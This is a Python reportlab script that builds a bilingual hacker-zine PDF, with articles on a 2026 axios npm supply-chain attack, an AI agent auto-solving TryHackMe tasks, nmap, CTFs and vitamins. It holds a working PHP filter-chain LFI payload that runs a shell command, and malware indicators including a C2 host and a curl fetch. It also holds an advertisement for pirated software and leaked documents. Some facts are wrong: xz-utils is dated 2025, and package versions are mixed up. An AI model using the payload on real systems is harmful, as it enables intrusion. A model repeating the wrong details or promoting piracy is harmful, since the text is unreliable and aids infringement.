"""Planet Express — 04/2026. Bilingual (EN / DE) PDF builder."""
from reportlab.lib.pagesizes import A4
from reportlab.lib import colors
from reportlab.lib.colors import HexColor
from reportlab.pdfgen import canvas
from reportlab.pdfbase import pdfmetrics
from reportlab.pdfbase.ttfonts import TTFont
import random
import os
import sys

PAGE_W, PAGE_H = A4

NEON_GREEN = HexColor("#39FF14")
NEON_PINK = HexColor("#FF006E")
NEON_CYAN = HexColor("#00F5FF")
NEON_YELLOW = HexColor("#FFE600")
NEON_RED = HexColor("#FF3B3B")
BG_DARK = HexColor("#0A0E14")
BG_PANEL = HexColor("#14181F")
TEXT_DIM = HexColor("#A0A8B3")
TEXT = HexColor("#E6EDF3")

# Hack — monospace throughout. Installed at /usr/share/fonts/TTF/.
_FONT_DIR = "/usr/share/fonts/TTF"
pdfmetrics.registerFont(TTFont("Hack",        f"{_FONT_DIR}/Hack-Regular.ttf"))
pdfmetrics.registerFont(TTFont("Hack-Bold",   f"{_FONT_DIR}/Hack-Bold.ttf"))
pdfmetrics.registerFont(TTFont("Hack-Italic", f"{_FONT_DIR}/Hack-Italic.ttf"))
pdfmetrics.registerFont(TTFont("Hack-BoldItalic", f"{_FONT_DIR}/Hack-BoldItalic.ttf"))

MONO = "Hack"
MONO_BOLD = "Hack-Bold"
SANS = "Hack"
SANS_BOLD = "Hack-Bold"
SERIF = "Hack"
SERIF_BOLD = "Hack-Bold"
SERIF_ITAL = "Hack-Italic"


# ================= CONTENT DICTS =================
CONTENT_EN = {
    "lang": "en",
    "filename": "planet_express_2026_04_EN.pdf",

    # Cover
    "issue_top_left": "// 04/2026 // AIR-GAPPED EDITION",
    "issue_top_right": "$ cat /dev/mag | hexdump -C",
    "title_a": "PLANET",
    "title_b": "EXPRESS",
    "tagline_l": "FINDING PATTERNS IN THE NOIZE",
    "tagline_r": "EAT SLEEP HACK REPEAT",
    "cover_lines": [
        ("01", "THE AXIOS AFFAIR", NEON_CYAN),
        ("02", "TRYHACKME ANY% TAS SPEEDRUN", NEON_PINK),
        ("03", "NMAP: STILL THE ONE", NEON_YELLOW),
        ("04", "SEVEN TERMINAL TRICKS", NEON_GREEN),
        ("05", "CTF AFTER THE AGENT", NEON_CYAN),
        ("06", "HACK HEALTHIER: VITAMINS", NEON_YELLOW),
    ],
    "barcode_line": "0,00\u20ac  free as in beer",

    # Axios
    "axios_kicker": "// FEATURE 01 // SUPPLY CHAIN",
    "axios_title_a": "THE AXIOS",
    "axios_title_b": "AFFAIR",
    "axios_sub": "On March 31, 2026, axios was malicious for three hours.",
    "axios_body_1": (
        "There is a specific shape of modern dependency: small, boring, solves "
        "exactly one problem, and has installed itself into roughly every "
        "JavaScript project on Earth. axios is that dependency. Around 180 "
        "million npm downloads per week, split across two main branches: 1.x "
        "and 0.30.x. The HTTP client most teams did not choose, running inside "
        "their build anyway.\n\n"
        "Ubiquity is the risk. What makes a supply-chain attack work is not "
        "cleverness — it is reach.\n\n"
        "The history has precedent. event-stream in 2018 reached two million "
        "weekly downloads before its maintainer handed it to a stranger, who "
        "shipped a wallet stealer aimed at Copay users. ua-parser-js in 2021 "
        "carried a coin miner and credential stealer through a compromised "
        "maintainer account. colors.js and faker.js in 2022 were sabotaged by "
        "their own author. node-ipc in 2022 wiped files based on geolocation. "
        "xz-utils in 2025 was a patient three-year campaign that came within "
        "one beta release of backdooring sshd on every Linux distribution.\n\n"
        "On March 31, 2026 at 00:21 UTC, axios itself was hit. The package "
        "was taken over and a dependency was added that installs a trojan. "
        "Three hours later at 3:20 the maintainers regained control and "
        "removed the infected package.\n\n"
        "Actually a beautiful hack — fast in, fast out, access to millions "
        "of secrets and systems."
    ),
    "axios_body_2": (
        "Step zero: compromised maintainer account. Not a typosquat, not a "
        "side-channel — a legitimate axios maintainer lost control of their "
        "npmjs account. The first visible artefact was the new contact email "
        "on the account: ifstap@proton.me.\n\n"
        "Step one: a hidden dependency. The attacker added a new package "
        "named plain-crypto-js to axios, published in versions 4.2.0 and "
        "4.2.1. The name sounded harmless. The whole attack lived inside that "
        "dependency, not in axios itself — a diff against axios would have "
        "shown nothing unusual.\n\n"
        "Step two: postinstall hook. plain-crypto-js carried a scripts entry "
        "in its package.json that ran `node setup.js` on every npm install. "
        "No user consent, no prompt, just code executing at install time.\n\n"
        "Step three: SILKBELL, the dropper. setup.js was obfuscated with XOR "
        "and Base64; C2 URLs and OS-specific commands were only assembled at "
        "runtime. fs, os and execSync were required dynamically to dodge "
        "static analysis. After the drop, setup.js deleted itself and renamed "
        "package.json to package.md to cover its tracks.\n\n"
        "Step four: OS-specific payload. On Windows, SILKBELL copied "
        "powershell.exe to %PROGRAMDATA%\\wt.exe — the filename of the "
        "legitimate Windows Terminal, used as camouflage. A PowerShell script "
        "was pulled via curl from packages.npm.org (a lookalike domain, not "
        "the real npm registry), POST body `product1`. On macOS, a Mach-O "
        "landed in /Library/Caches/com.apple.act.mond, body `product0`. On "
        "Linux, a Python backdoor went to /tmp/ld.py, body `product2`.\n\n"
        "Step five: WAVESHAPER.V2, the actual backdoor. It beaconed back to "
        "sfrclak.com (142.11.206.73) over port 8000 every 60 seconds. "
        "Commands: `kill`, `rundir` (directory enumeration), `runscript` "
        "(AppleScript), `peinject` (PE injection into a process). One "
        "hard-coded User-Agent stayed put: mozilla/4.0 (compatible; msie 8.0; "
        "windows nt 5.1; trident/4.0) — an IE8 masquerade the WAVESHAPER "
        "family has been carrying for years, and the thing that ultimately "
        "made attribution easy.\n\n"
        "Step six: persistence, Windows only. A hidden "
        "%PROGRAMDATA%\\system.bat plus a registry entry under "
        "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run with the "
        "value \"MicrosoftUpdate\" brought the backdoor back on every user "
        "logon. No persistence was documented for macOS or Linux — probably "
        "because the one-shot reach was already enough.\n\n"
        "Step seven: aftermath. Versions 4.2.0 and 4.2.1 were pulled "
        "from npm within hours; 4.2.2 shipped clean the same day. The "
        "only open question is which package is next."
    ),
    "axios_art_lines": [
        ("[0] maintainer account hijacked",        NEON_CYAN),
        ("     └─ new email: ifstap@proton.me",    TEXT),
        ("           ▼",                           NEON_PINK),
        ("[1] plain-crypto-js @ 4.2.0 / 4.2.1",    NEON_CYAN),
        ("     └─ injected as axios dependency",   TEXT),
        ("           ▼",                           NEON_PINK),
        ("[2] postinstall: node setup.js",         NEON_CYAN),
        ("           ▼",                           NEON_PINK),
        ("[3] SILKBELL (XOR + Base64 dropper)",    NEON_CYAN),
        ("     ├─ win: %PROGRAMDATA%\\wt.exe",     TEXT),
        ("     ├─ mac: /Library/Caches/...mond",   TEXT),
        ("     └─ lin: /tmp/ld.py",                TEXT),
        ("           ▼",                           NEON_PINK),
        ("[4] WAVESHAPER.V2 → sfrclak.com:8000",   NEON_RED),
        ("           ▼",                           NEON_PINK),
        ("[5] persistence: Run\\MicrosoftUpdate",  TEXT_DIM),
    ],
    "axios_art_label": "2026-03-31 · 00:21 – 03:20 UTC",
    "axios_term_header": "$ npm install axios",
    "axios_term_lines": [
        ("added 7 packages, and audited 8 packages in 3s", TEXT),
        ("", TEXT),
        ("> plain-crypto-js@4.2.0 postinstall", TEXT_DIM),
        ("> node setup.js", TEXT_DIM),
        ("", TEXT),
        ("found 0 vulnerabilities", NEON_GREEN),
        ("$", TEXT_DIM),
        ("", TEXT),
        ("# what setup.js actually did:", TEXT_DIM),
        ("  decode XOR + base64 payload", NEON_RED),
        ("  curl packages.npm.org \u2192 %PROGRAMDATA%\\wt.exe", NEON_RED),
        ("  rm setup.js; mv package.json package.md", NEON_RED),
        ("  wt.exe \u2192 sfrclak.com:8000 every 60s", NEON_RED),
    ],
    "axios_timeline_header": "# SUPPLY_CHAIN.log",
    "axios_timeline": [
        ("2018", "event-stream", "wallet theft"),
        ("2021", "ua-parser-js", "miner + stealer"),
        ("2022", "colors.js", "author protest"),
        ("2022", "node-ipc", "protestware wipe"),
        ("2025", "xz-utils", "3-year backdoor"),
        ("2026", "axios", "infostealer drop"),
        ("20XX", "?", "pending"),
    ],

    "axios_flow_title": "ANATOMY",
    "axios_flow_sub": "Three hours, four moves — how the attack actually ran on every machine that pulled it.",
    "axios_flow_steps": [
        ("01", "PUBLISH", "maintainer account hijacked",
         "contact email flipped to ifstap@proton.me", NEON_CYAN),
        ("02", "INSTALL", "axios 1.14.1 + 0.30.4 go out",
         "plain-crypto-js 4.2.0 ships as transitive dep", NEON_YELLOW),
        ("03", "DROP", "postinstall fires node setup.js",
         "Win: wt.exe  ·  mac: act.mond  ·  lin: ld.py", NEON_PINK),
        ("04", "BEACON", "WAVESHAPER.V2 phones home",
         "sfrclak.com:8000 · every 60s · kill · rundir", NEON_RED),
    ],
    "axios_flow_stats": [
        ("180 M", "downloads / week"),
        ("3 h", "malicious window"),
        ("~10\u2075", "secrets in flight"),
    ],

    # CTF — tryhackme any% tas speedrun
    "ctf_kicker": "// FEATURE 02 // FIELD REPORT",
    "ctf_title_a": "TRYHACKME",
    "ctf_title_b": "ANY% TAS SPEEDRUN",
    "ctf_sub": ("A bot that works through an entire cybersec syllabus on its own — "
                "and grows a little more capable with every task."),
    "ctf_body_1": (
        "TryHackMe is a learning platform for IT security. A typical task: "
        "hack a server in a virtual machine. Find the hidden codeword, "
        "paste it back, earn XP. Hundreds of them, sorted into "
        "learning paths from beginner to pro.\n\n"
        "The question behind this experiment was simple: can AI agents "
        "hack?\n\n"
        "claude-code is that kind of agent. It lives in the command line, "
        "reads text, runs programs, writes files. A short Python script logs "
        "it into TryHackMe once, from then on it talks to the site directly: "
        "pull a task, read it, hack, submit the answer.\n\n"
        "It gets interesting when the answer can only be reached by a hack "
        "— a port scan with nmap, a Metasploit exploit, a SQL injection "
        "with sqlmap, or a login form cracked by hydra. Then the agent "
        "opens a shell and works like a human: look, poke, pick the right "
        "tool.\n\n"
        "An orchestrator runs many agents at once. Each gets its own task "
        "and a fixed time budget. While one is stuck on a SQL injection, "
        "the next is cleaning up a Linux machine.\n\n"
        "What is more interesting than the tasks the bot solves is what "
        "happens between them.\n\n"
        "Next to the code sits a folder called skills/ — the bot's memory. "
        "Inside: a how-to for approaching any task (read first, scan next, "
        "exploit on purpose). Notes from prior solves (\"some codewords are "
        "base64-encoded inside the JavaScript — grep is enough\"). And a "
        "recipes folder, one file per attack technique, from SMB recon to "
        "buffer overflow."
    ),
    "ctf_body_2": "",
    "ctf_tail": (
        "Before each task the agent reads the relevant skill files. If it "
        "learns something new along the way, it writes a new skill file "
        "afterwards. The bot grows with every task it clears.\n\n"
        "Tasks that broke it in the first week fall in minutes in the "
        "second. Not because the model got smarter, but because the "
        "matching recipe is in the folder now."
    ),

    # page 4 — deep dive on the skills system
    "skills_kicker": "// FEATURE 02 // DEEP DIVE",
    "skills_title_a": "SKILLS",
    "skills_title_b": "ANATOMY OF A RECIPE",
    "skills_sub": "How a text file becomes a reusable technique.",
    "skills_body": (
        "Every recipe follows the same shape. On top sits a one-liner «when to use» "
        "— the trigger the agent matches against the current task. Then the steps, "
        "terse and copy-pastable. Then the usual failure modes.\n\n"
        "Above that lives a playbook (SKILL.md) — the big picture: read first, "
        "check the setup, then reach for the matching recipe. Next to it sits a "
        "journal (lessons.md) for patterns that don't deserve their own file: "
        "«never bypass a captcha, ask the user», «bundles are usually Vite builds».\n\n"
        "SKILL.md says what to do, recipes/ say how, lessons.md remembers what "
        "broke last time."
    ),
    "skills_list_header": "# skills/recipes/",
    "skills_list": [
        ("php-filter-chain-lfi-rce",       "\u2190"),
        ("container-escape-nsenter",       ""),
        ("browser-desync",                 ""),
        ("http-request-smuggling",         ""),
        ("race-condition-parallel",        ""),
        ("node-merge-prototype-pollution", ""),
        ("dependency-confusion-pypi-rce",  ""),
        ("second-order-sqli",              ""),
        ("git-index-leak-via-lfi",         ""),
        ("xor-shellcode-static-decode",    ""),
        ("jwt-attack-toolkit",             ""),
        ("xxe-xml-external-entity",        ""),
        ("ssti-smarty-pug-jinja2",         ""),
    ],
    "skills_list_more": "\u2026 and more",
    "ctf_art_label": "tasks cleared · last 24h · y=count, x=hour",
    "ctf_pool_header": "# AGENT_POOL.dispatch",
    "ctf_pool_path": "path: cybersecurity101",
    "ctf_pool": [
        ("agent-001", "nmaplivehostdisc", "18:42", "DONE", "+400"),
        ("agent-002", "linuxforensics",   "—:—",   "RUN",  ""),
        ("agent-003", "webfundamentals",  "11:29", "DONE", "+300"),
        ("agent-004", "introtodfir",      "—:—",   "RUN",  ""),
        ("agent-005", "burpsuitebasics",  "03:11", "FAIL", ""),
        ("agent-006", "wiresharkbasics",  "—:—",   "RUN",  ""),
        ("…",         "…",                "…",     "…",    "…"),
    ],
    "ctf_pool_stats": [
        ("completed",    "34 / 43"),
        ("wall runtime", "07:21:44"),
        ("tokens burnt", "2.8M"),
        ("recipes",      "growing"),
    ],
    "ctf_aquarium_caption": "# /dev/aquarium",

    # one real recipe, picked from the skills/recipes/ folder
    "ctf_recipe_header": "# skills/recipes/php-filter-chain-lfi-rce.md",
    "ctf_recipe_lines": [
        (NEON_PINK, "WHEN:"),
        (TEXT,      "A PHP page loads files by URL parameter (include($_GET['page']))."),
        (TEXT_DIM,  ""),
        (NEON_PINK, "HOW:"),
        (TEXT,      "Push your own PHP code, base64-encoded, through PHP's built-in filter"),
        (TEXT,      "chain — the filter decodes, include() executes:"),
        (TEXT_DIM,  ""),
        (NEON_GREEN, "?page=php://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCJjYXQgL2V0Yy9wYXNzd2QiKTs/Pg=="),
        (TEXT_DIM,  ""),
        (TEXT_DIM,  "= <?php system(\"cat /etc/passwd\");?> in base64. One line, full RCE."),
    ],

    # nmap
    "nmap_kicker": "// TOOL SPOTLIGHT",
    "nmap_title": "NMAP",
    "nmap_sub": "The Swiss army knife that refuses to retire.",
    "nmap_body": (
        "Gordon Lyon — Fyodor — released nmap in 1997 as an article in Phrack Magazine. Twenty-nine "
        "years later it is still the first thing anyone types when a new network appears in "
        "front of them. There is no higher compliment you can pay a piece of software.\n\n"
        "What makes nmap durable is that it is not opinionated. It does not try to be "
        "pretty. It does not try to be an agent. It does not want to live in your browser. "
        "It is a flashlight you aim at a network, and it tells you what it saw.\n\n"
        "The most underrated thing about nmap is that the naked form is already enough. "
        "Just `nmap <target>`. No flags, no scripts, no tuning. It scans the top thousand "
        "TCP ports, guesses what is running on each, and hands back a shape of the target. "
        "That shape is usually enough to decide where to look next."
    ),
    "nmap_cheats_header": "# CHEATSHEET",
    "nmap_cheats": [
        ("-sS", "stealth SYN scan"),
        ("-sV", "probe version info"),
        ("-O", "OS fingerprint"),
        ("-A", "aggressive (all the above)"),
        ("-p-", "all 65535 ports"),
        ("-T4", "fast timing template"),
        ("--open", "show only open"),
        ("--script", "NSE script engine"),
        ("vuln", "vuln detection scripts"),
        ("smb-enum-*", "smb recon pack"),
        ("http-title", "grab http titles"),
        ("-iL <file>", "read targets from file"),
    ],
    "nmap_oneliner_header": "$ nmap without flags:",
    "nmap_oneliner": "nmap 10.10.10.42",
    "nmap_oneliner_t1": "also valid: nmap example.com   nmap 192.168.1.1-254   nmap 10.0.0.0/24",
    "nmap_oneliner_t2": "top 1000 TCP ports, service guesses.",

    # terminal tricks
    "term_kicker": "// COLUMN // TERMINAL TRICKS",
    "term_title_a": "SEVEN TRICKS",
    "term_title_b": "YOU'LL ACTUALLY USE",
    "term_tricks": [
        ("01", "!!",
         "Repeat the last command. Combine with sudo: `sudo !!` — the\n"
         "single most-used two-character sequence in ops history."),
        ("02", "Ctrl-R",
         "Reverse incremental search through shell history. Start typing."),
        ("03", "ssh root@segfault.net",
         "Password: `segfault`. A fresh Kali VM with root, gifted by THC —\n"
         "a new box per login, Tor + VPN included. A lab with zero setup."),
        ("04", "cd -",
         "Jumps back to the previous directory. Ping-pong between two places\n"
         "without typing their paths."),
        ("05", "python3 -m http.server 8000",
         "Instant file server in the current directory. Move files between VMs,\n"
         "hand a pcap to a teammate, stage a payload. Zero dependencies."),
        ("06", "ss -tulpn",
         "Listening sockets with the process that owns each. Replaces netstat on\n"
         "modern systems. Everyone should know what is listening on their box."),
        ("07", "script -t timing.log session.log",
         "Records your entire terminal session — keystrokes, timing, output —\n"
         "and replays it with `scriptreplay`. Your future self will thank you."),
    ],

    # warez / leaks / forum ad — nerial.uk
    "warez_kicker": "// ADVERTISEMENT",
    "warez_group": "nerial.uk/",
    "warez_sub": "games · movies · series · music · books · leaks",
    "warez_url": "https://nerial.uk/",
    "warez_releases_header": "# catalog",
    "warez_releases": [
        ("Cyberpunk 2077 + all DLCs",        "[CPY]",    "ISO"),
        ("GTA VI cutscene dump (full)",      "[???]",    "MP4"),
        ("DAZN",                             "[STREAM]", "M3U8"),
        ("Epstein Files, uncensored",        "[LEAK]",   "PDF"),
        ("Adobe 2025 Master Suite",          "[TRB]",    "ZIP"),
        ("internal PRISM deck",              "[DOC]",    "PPT"),
        ("Starcraft + Brood War (orig.)",    "[RAZ]",    "ISO"),
        ("Windows 12 Pro (pre-RTM)",         "[FTCU]",   "ISO"),
        ("Scrubs (2026)",                    "[NERIAL]", "MKV"),
        ("Rick & Morty S13 (pre-air)",       "[NTb]",    "MKV"),
        ("Sky",                              "[STREAM]", "M3U8"),
        ("The Last of Us Part III (dev)",    "[LEAK]",   "PKG"),
        ("Avatar 3 — Fire and Ash",          "[EVO]",    "MKV"),
        ("Stranger Things S05 complete",     "[NTb]",    "MKV"),
        ("Zelda — Tears of the Kingdom II",  "[VENOM]",  "XCI"),
        ("Half Life 3 (internal build)",     "[3DM]",    "ISO"),
        ("Dune: Messiah (SCR.DVDRip)",       "[FGT]",    "MKV"),
        ("Adobe Creative Cloud 2026",        "[XFORCE]", "ZIP"),
    ],

    # agent-era reflection (feature 05)
    "agent_kicker": "// COMMENTARY",
    "agent_title_a": "CTF AFTER",
    "agent_title_b": "THE AGENT",
    "agent_sub": (
        "The TryHackMe piece on page 3 was the easy part: the tool works. "
        "The harder part — what an auto-solver does to a scene that was "
        "built on humans doing the solving."
    ),
    "agent_body": (
        "A CTF board measures skill. That was the deal: submit flag, "
        "take points, climb the ranking. When an agent submits the flag, "
        "it takes the points too. The ranking still works; it just "
        "measures something else — the ability to wire tools together "
        "and let them run. Still a real skill, just not the one on the "
        "label.\n\n"
        "Chess is past this transition. Deep Blue in 1997 did not end "
        "the game; it ended a story, that humans at the top were the "
        "ceiling. What survives is chess as a human discipline, played "
        "at human pace, cleanly separated from engine analysis. Online "
        "platforms flag engine-assisted play as unforgivingly as a "
        "referee flags doping. Centaur chess, the official hybrid, had "
        "fifteen good years — and faded, because the engines alone were "
        "better anyway.\n\n"
        "Speedrunning absorbed the same pressure by cutting two lanes. "
        "TAS, tool-assisted speedrun, is frame-perfect and clearly "
        "labeled; nobody claims to be competing against humans there. "
        "The line was drawn early and it holds.\n\n"
        "The CTF scene has not drawn that line yet. THM ladders, HTB "
        "ranks, monthly scoreboards have carried an unknown share of "
        "agent work for months; the signal degrades from the bottom "
        "up. At some point rankings stop meaning what people read into "
        "them — at which point a platform opens a division of its own "
        "for agents, clearly labeled, or its board collapses into "
        "decoration.\n\n"
        "Defenders have more than it looks. Good puzzle designers have "
        "long leaned on what models handle badly: steganography that "
        "hinges on human visual perception; OSINT against unpredictable "
        "sources; physical artefacts that have to be held in hand; "
        "out-of-band interactions the agent harness never sees. The top "
        "gets harder for everyone. The bottom — tutorial tasks, CVE "
        "recaps, the known web patterns — is already cleared ground.\n\n"
        "For the players, the skill moves up a layer: writing the "
        "agent, instrumenting the tools, recognising when the model is "
        "bluffing, seeing the shape of a problem it will fail on before "
        "an hour burns inside it. That is real competence, it just sits "
        "closer to ops than to offense. It does not feel like popping a "
        "box by hand at 3am. Some will love it. Many who loved CTFs "
        "will not.\n\n"
        "The honest argument comes from the small scene. Private CTFs "
        "among friends, no scoreboard, no XP, no platform — those keep "
        "running. The mechanism was never the points; it was six people "
        "in front of a whiteboard tearing the same PCAP apart. Agents "
        "do not touch any of that. What they touch is the public "
        "ladder, and the public ladder was already the weakest part of "
        "the hobby.\n\n"
        "None of this ends CTFs. What ends is their role as a ranking "
        "system. The learning stays. The scoreboards go — or they "
        "split, labeled honestly, humans and agents in separate "
        "columns. Chess picked. Speedrunning picked. CTFs have not "
        "picked yet."
    ),
    "agent_fork_rows": [
        ("CHESS",    "human ──┬─→ engine pool welcome",     "         └─→ human-only rating",       "decided"),
        ("SPEEDRUN", "human ──┬─→ TAS has its own lane",    "         └─→ RTA holds the record",    "decided"),
        ("CTF",      "human ──┬─→ agent-assisted ?",        "         └─→ verified-human ?",        "open"),
    ],
    "agent_fork_label": "",
    "agent_panel_header": "# post_agent.diff",
    "agent_panel_diff": [
        "--- a/ctf-scene   pre-agent",
        "+++ b/ctf-scene   post-agent",
        "@@ scoreboards @@",
        "- thm / htb / hmv : signal",
        "+ thm / htb / hmv : signal + noise",
        "@@ trivial challenges @@",
        "- tutorial-tasks, cve-recaps",
        "# auto-cleared",
        "@@ still human-only @@",
        "  stego · osint · physical · oob",
        "@@ new skill class @@",
        "+ writing the agent",
        "+ seeing when it bluffs",
        "@@ untouched @@",
        "  private rounds · whiteboard scene",
    ],

    # Vitamins
    "vit_kicker": "// HEALTH",
    "vit_title_a": "HACK",
    "vit_title_b": "HEALTHIER: VITAMINS",
    "vit_sub": "What pizza-at-three and screen-instead-of-sun quietly cost you — and what fifty cents from the drugstore actually does about it.",
    "vit_body": (
        "Hacker food is not a food pyramid. Pizza after midnight, Club-Mate "
        "instead of water, frozen vegetables as an alibi — and daylight "
        "mostly through the kitchen window. Even if you cook with discipline, "
        "you don't automatically get everything in sufficient quantity: a few "
        "trace elements, the fat-soluble vitamins, magnesium during stressful "
        "stretches. Twelve hours in front of a monitor plus the occasional "
        "kebab turns the gap into the baseline.\n\n"
        "The good news is that the gap closes for the price of one energy "
        "drink. The bad news is that every other podcast is trying to sell "
        "you a 90-euro monthly subscription instead — personalised powder, "
        "proprietary blend, influencer code at checkout. The mixture inside "
        "differs from what is printed on the drugstore effervescent tablet "
        "mostly in the packaging.\n\n"
        "Our recommendation is unspectacular. One multivitamin and one "
        "multimineral effervescent tablet per day — a pack of twenty costs "
        "50 cents, so the two together come to five cents a day. Glass of "
        "water, ten seconds of fizz, done.\n\n"
        "Plus, for one specific reason: vitamin D3. From October to April, "
        "across most of central Europe, the sun is too low for skin to make "
        "any D3 at all. If you also work indoors the rest of the time, you "
        "start February with a nearly empty reservoir. Around 1,000 IU a day "
        "keeps that reservoir stable. Because D3 is fat-soluble and stores "
        "as a depot, 2,000 IU every two days or 20,000 IU every twenty days "
        "works just as well. D3 comes as tablets, powder, and drops. "
        "If effervescent tablets aren't your thing: most vitamins are "
        "available as gummy bears these days.\n\n"
        "One more Planet Express tip: a daily walk boosts health and "
        "mood."
    ),
    "vit_panel_header": "# recipe.txt",
    "vit_panel_lines": [
        ("multivitamin fizz",   "2.5 ct / day"),
        ("multimineral fizz",   "2.5 ct / day"),
        ("vitamin D3 (1000 IU)","3 ct / day"),
        ("walk (20 min)",       "free"),
    ],
    "vit_panel_total": ("total",  "~ 8 ct / day"),
    "vit_d3_header": "# depot.plan",
    "vit_d3_lines": [
        ("daily",         "1 x 1,000 IU"),
        ("every 2 days",  "1 x 2,000 IU"),
        ("every 20 days", "1 x 20,000 IU"),
    ],
    "vit_d3_note": "D3 is fat-soluble and stores in the body as a depot.",
    "vit_rant_header": "# podcast_vs_drugstore.diff",
    "vit_rant_lines": [
        ("-", "personalised blend, 90 €/mo, influencer code",  NEON_RED),
        ("+", "drugstore effervescent, 50 ct, no subscription", NEON_GREEN),
    ],

    # EOF
    "eof_footer": "connection closed by foreign host",
}


CONTENT_DE = {
    "lang": "de",
    "filename": "planet_express_2026_04_DE.pdf",

    # Cover
    "issue_top_left": "// 04/2026 // AIR-GAPPED EDITION",
    "issue_top_right": "$ cat /dev/mag | hexdump -C",
    "title_a": "PLANET",
    "title_b": "EXPRESS",
    "tagline_l": "FINDING PATTERNS IN THE NOIZE",
    "tagline_r": "EAT SLEEP HACK REPEAT",
    "cover_lines": [
        ("01", "DIE AXIOS-AFFÄRE", NEON_CYAN),
        ("02", "TRYHACKME ANY% TAS SPEEDRUN", NEON_PINK),
        ("03", "NMAP: IMMER NOCH KÖNIG", NEON_YELLOW),
        ("04", "SIEBEN TERMINAL-KNIFFE", NEON_GREEN),
        ("05", "CTF NACH DEM AGENTEN", NEON_CYAN),
        ("06", "GESÜNDER HACKEN: VITAMINE", NEON_YELLOW),
    ],
    "barcode_line": "0,00\u20ac  frei wie freibier",

    # Axios
    "axios_kicker": "// FEATURE 01 // LIEFERKETTE",
    "axios_title_a": "DIE AXIOS-",
    "axios_title_b": "AFFÄRE",
    "axios_sub": "Am 31. März 2026 war axios drei Stunden lang bösartig.",
    "axios_body_1": (
        "Es gibt eine bestimmte Sorte moderner Abhängigkeit: klein, "
        "unscheinbar, löst genau ein Problem — und sitzt inzwischen in so gut "
        "wie jedem JavaScript-Projekt dieses Planeten. axios ist so eine. "
        "Rund 180 Millionen npm-Downloads pro Woche, verteilt auf zwei "
        "Hauptzweige: 1.x und 0.30.x. Ein HTTP-Client, den die wenigsten "
        "Teams bewusst eingebaut haben und der trotzdem in jedem Build "
        "mitfährt.\n\n"
        "Genau diese Allgegenwart ist das eigentliche Risiko. Was einen "
        "Supply-Chain-Angriff trägt, ist selten Cleverness, fast immer "
        "Reichweite.\n\n"
        "Die Liste der Vorläufer ist lang. event-stream erreichte 2018 zwei "
        "Millionen wöchentliche Downloads, bevor sein Maintainer das Paket "
        "an einen Fremden übergab, der einen Wallet-Stealer für Copay-Nutzer "
        "ausrollte. ua-parser-js schleuste 2021 über einen gekaperten "
        "Maintainer-Account Krypto-Miner und Credential-Stealer aus. "
        "colors.js und faker.js wurden 2022 vom eigenen Autor sabotiert. "
        "node-ipc begann im selben Jahr, Dateien nach Geolokation zu "
        "löschen. xz-utils war 2025 eine dreijährige Geduldsarbeit — nur "
        "noch ein Beta-Release davon entfernt, sshd auf jeder "
        "Linux-Distribution mit einer Backdoor zu versehen.\n\n"
        "Am 31. März 2026 um 00:21 UTC traf es axios selbst. Das Paket "
        "wurde übernommen und eine Abhängigkeit hinzugefügt, die einen "
        "Trojaner installiert. Drei Stunden später um 3:20 erlangten "
        "die Maintainer die Kontrolle zurück und entfernten das infizierte "
        "Paket.\n\n"
        "Eigentlich ein schöner Hack — schnell rein, schnell raus, Zugang "
        "zu Millionen Geheimnissen und Systemen."
    ),
    "axios_body_2": (
        "Schritt null: kompromittierter Maintainer-Account. Kein Typosquat, "
        "kein Nebenschauplatz — einem legitimen axios-Maintainer wurde sein "
        "npmjs-Konto aus der Hand genommen. Erstes sichtbares Artefakt: "
        "eine neu eingetragene Kontakt-E-Mail, ifstap@proton.me.\n\n"
        "Schritt eins: versteckte Abhängigkeit. Der Angreifer hängte axios "
        "ein neues Paket an, plain-crypto-js, in den Versionen 4.2.0 und "
        "4.2.1. Der Name klang harmlos; die eigentliche Angriffslogik saß "
        "vollständig in dieser Abhängigkeit, nicht im axios-Kern. Ein Diff "
        "auf axios selbst hätte nichts Verdächtiges gezeigt.\n\n"
        "Schritt zwei: postinstall-Hook. plain-crypto-js trug in seiner "
        "package.json einen scripts-Eintrag, der bei jedem npm install "
        "automatisch `node setup.js` aufrief. Keine Rückfrage, kein "
        "Consent — Code direkt zur Installationszeit.\n\n"
        "Schritt drei: SILKBELL, der Dropper. setup.js war XOR- und "
        "Base64-obfuskiert; C2-URLs und OS-spezifische Befehle entstanden "
        "erst zur Laufzeit. fs, os und execSync wurden dynamisch geladen, "
        "statische Analyse lief ins Leere. Nach dem Drop löschte sich "
        "setup.js selbst und benannte package.json in package.md um — damit "
        "die Forensik später länger sucht.\n\n"
        "Schritt vier: OS-abhängige Payload. Unter Windows kopierte SILKBELL "
        "powershell.exe nach %PROGRAMDATA%\\wt.exe — der Name eines "
        "legitimen Windows-Terminals, klassische Tarnung. Ein "
        "PowerShell-Skript wurde per curl von packages.npm.org nachgezogen "
        "— einer Lookalike-Domain, nicht der echten npm-Registry —, "
        "POST-Body `product1`. Unter macOS landete eine Mach-O-Binärdatei "
        "in /Library/Caches/com.apple.act.mond, Body `product0`. Unter "
        "Linux lief eine Python-Backdoor in /tmp/ld.py, Body `product2`.\n\n"
        "Schritt fünf: WAVESHAPER.V2, die eigentliche Backdoor. Sie meldete "
        "sich im 60-Sekunden-Takt über Port 8000 bei sfrclak.com "
        "(142.11.206.73). Befehle: `kill`, `rundir` (Verzeichnis "
        "enumerieren), `runscript` (AppleScript), `peinject` (PE-Binary in "
        "einen Prozess injizieren). Ein fester User-Agent verriet die "
        "Familie — mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; "
        "trident/4.0), eine IE8-Maskerade, die WAVESHAPER seit Jahren "
        "mitschleppt.\n\n"
        "Schritt sechs: Persistenz, ausschließlich unter Windows. Eine "
        "versteckte %PROGRAMDATA%\\system.bat plus ein Registry-Eintrag "
        "unter HKCU\\...\\Run mit dem Wert „MicrosoftUpdate\" sorgten "
        "dafür, dass die Backdoor jeden Login neu anlief. Für macOS und "
        "Linux gab es keine Persistenz — der einmalige Durchlauf genügte.\n\n"
        "Schritt sieben: Nachspiel. Die Versionen 4.2.0 und 4.2.1 "
        "verschwanden innerhalb weniger Stunden von npm; 4.2.2 kam noch "
        "am selben Tag sauber nach. Offen bleibt, welches Paket als "
        "Nächstes drankommt."
    ),
    "axios_art_lines": [
        ("[0] Maintainer-Account gekapert",       NEON_CYAN),
        ("     └─ neue E-Mail: ifstap@proton.me", TEXT),
        ("           ▼",                           NEON_PINK),
        ("[1] plain-crypto-js @ 4.2.0 / 4.2.1",    NEON_CYAN),
